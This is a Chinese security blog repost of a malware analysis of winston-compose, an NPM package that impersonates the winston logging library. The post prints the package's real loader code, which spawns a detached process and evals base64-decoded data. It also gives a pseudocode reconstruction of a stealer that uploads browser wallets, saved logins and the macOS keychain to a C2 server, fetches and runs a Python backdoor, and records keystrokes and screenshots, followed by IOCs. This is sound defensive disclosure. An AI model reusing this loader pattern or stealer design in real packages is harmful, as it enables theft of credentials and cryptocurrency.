知名NPM日志库 winston 遭仿冒,恶意版本植入窃密后门

admin 2025年6月27日01:29:29评论11 views字数 5074阅读16分54秒阅读模式

一、简述

2025年6月25日,墨菲安全检测到 NPM 仓库中发布的投毒组件 winston-compose,该组件伪装成周下载量超 1200 万次的知名日志库 winston,被开发者(skelstar125 )植入包含窃取用户加密货币钱包、浏览器数据、键盘日志、屏幕截图等信息,并在受害设备上建立持久化后门的恶意代码。

知名NPM日志库 winston 遭仿冒,恶意版本植入窃密后门
NPM仓库 winston-compose 组件首页

墨菲安全曾在6月20日就检测出该开发者发布了投毒组件 react-hook-form-ui,该开发者的投毒手法与业界认为朝鲜 Lazarus APT组织曾发布的NPM投毒组件相似。截至目前,skelstar125 发布的投毒组件仍未被NPM官方团队下架。

二、恶意代码分析
恶意代码入口在 ./test/fixtures/intermidiate/index.js,该代码会使用 child_process.spawn 在后台加载恶意脚本:transports/file-intermidiate.test.js

const { spawn } = require('child_process');const fs require('fs');const path require('path');const out = fs.openSync('./out.log''a');const err = fs.openSync('./err.log''a');const filePath = path.join(__dirname, 'transports/file-intermidiate.test.js');const child spawn(process.execPath, [filePath], {  detachedtrue,  stdio: ['ignore', out, err]});child.unref(); // Allow parent to exit independently

transports/file-intermidiate.test.js 文件会使用eval执行解密后的 03-file-intermidiate.test.js 文件数据:

const fs = require('fs');const path = require('path');const parseLib = require('../../../../lib/parse')const filePath = path.join(__dirname, '03-file-intermidiate.test.js');fs.readFile(filePath, 'utf8'(_, data) => {  eval(Buffer.from(parseLib(data), 'base64').toString('utf8'));})
知名NPM日志库 winston 遭仿冒,恶意版本植入窃密后门

恶意Payload截图

解密后的Payload如下:

// ==========================================================// 恶意软件核心逻辑伪代码// ==========================================================// --- 全局配置 ---CONSTANT C2_SERVER_URL = "http://144.172.105.235:1224";CONSTANT HOSTNAME = os.hostname();CONSTANT TARGET_WALLET_EXTENSIONS = [    "nkbihfbeogaeaoehlefnkodbefgpgknn"// MetaMask    "fhbohimaelbohpjbbldcngcnapndodjp"// Binance Wallet    "bfnaelmomeimhlpmgjnjophhpkkoljpa"// Phantom    // ...以及其他20多个钱包扩展ID];// --- 主执行函数 ---async function main() {    // 1. 执行反调试和环境检测    antiDebugAndEvasion();    // 2. 窃取数据并上传    // 遍历所有主流浏览器 (Chrome, Brave, Opera, Edge)    let chromeData = await stealBrowserData(["Local/Google/Chrome""Google/Chrome""google-chrome"]);    let braveData = await stealBrowserData(["Local/BraveSoftware/Brave-Browser""BraveSoftware/Brave-Browser"]);    let operaData = await stealBrowserData(["Roaming/Opera Software/Opera Stable""com.operasoftware.Opera"]);    // 窃取火狐浏览器数据    let firefoxData = await stealFirefoxData();    // 窃取桌面钱包    let exodusData = await stealDesktopWallet("Exodus");    let solanaData = await stealDesktopWallet("Solana");    // 如果是macOS,窃取钥匙串    if (platform == 'darwin') {        let keychainData = await stealKeychain();    }    // 3. 下载并执行第二阶段的后门    await deployAndRunBackdoor();    // 4. 定期重复执行窃取任务    setInterval(main, 30000); }// --- 核心功能模块 ---function antiDebugAndEvasion() {    // 使用复杂的正则表达式使调试器崩溃    search("(((.+)+)+)+$");    // 劫持并清空console的输出函数,隐藏活动踪迹    overrideConsoleFunctions(["log""warn""info""error"]);}async function stealBrowserData(browserPaths) {    // 确定浏览器配置文件路径    basePath = findCorrectPathForOS(browserPaths);    // 遍历所有用户Profile    for (profile in getProfiles(basePath)) {        // 窃取所有目标钱包扩展的本地存储        for (walletId in TARGET_WALLET_EXTENSIONS) {            walletPath = basePath + profile + "/Local Extension Settings/" + walletId;            files = findFilesIn(walletPath);            uploadData(files, "wallet_extension");        }        // 窃取登录凭证和本地状态文件        uploadFile(basePath + profile + "/Login Data""browser_logins");        uploadFile(basePath + profile + "/Local State""browser_state");    }}async function stealDesktopWallet(walletName) {    walletPath = findWalletPath(walletName);    if (exists(walletPath)) {        files = findFilesIn(walletPath);        uploadData(files, walletName);    }}async function stealKeychain() {    keychainPath = homeDir + "/Library/Keychains/login.keychain-db";    if (exists(keychainPath)) {        uploadFile(keychainPath, "macos_keychain");    }}function uploadData(files, type) {    // 将文件打包成multipart/form-data    formData = createFormData();    addMetadata(formData, { hostnameHOSTNAMEtype: type });    for (file in files) {        formData.append("file"createReadStream(file));    }    // 发送到C2服务器    post(C2_SERVER_URL + "/uploads", formData);}async function deployAndRunBackdoor() {    // 下载一个压缩包    download(C2_SERVER_URL + "/pdown", tempDir + "/p.zip");    // 解压该压缩包    exec("tar -xf " + tempDir + "/p.zip");    // 下载第二阶段的Python Payload    pythonPayload = download(C2_SERVER_URL + "/client/5346/630");    // 保存到隐藏文件并执行    save(homeDir + "/.npl", pythonPayload);    exec_detached("python3 " + homeDir + "/.npl");}// --- 第二阶段Payload执行的逻辑 (由.npl脚本实现) ---function startPersistentSurveillance() {    // 启动键盘记录器    keyListener.on('keypress'(key) => {        logKeystroke(key);        // 定时将记录的键盘输入和截图一起上传        scheduleUpload();    });    // 启动剪贴板监控    setInterval(() => {        clipboardContent = getClipboard();        if (clipboardContent has changed) {            takeScreenshot();            uploadData({                clipboard: clipboardContent,                screenshot: screenshot_data            });        }    }, 500);}// 启动主程序main();

三、IOC

URl:hxxp://144.172.105[.]235:1224/uploadshxxp://144.172.105[.]235:1224/pdownhxxp://144.172.105[.]235:1224/api/service/makeloghxxp://144.172.105[.]235:1224/api/service/process/[uid]hxxp://144.172.105[.]235:1224/client/5346/630恶意组件:winston-compose@[3.17.1,3.17.7]文件哈希:winston-compose-3.17.7.tgz    SHA256:9972e3bf09808b511eb999e50bec72c02713ac0ed2938e89c97fbbe4abdcb7ef

原文始发于微信公众号(墨菲安全实验室):知名NPM日志库 winston 遭仿冒,恶意版本植入窃密后门

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月27日01:29:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   知名NPM日志库 winston 遭仿冒,恶意版本植入窃密后门https://cn-sec.com/archives/4203558.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息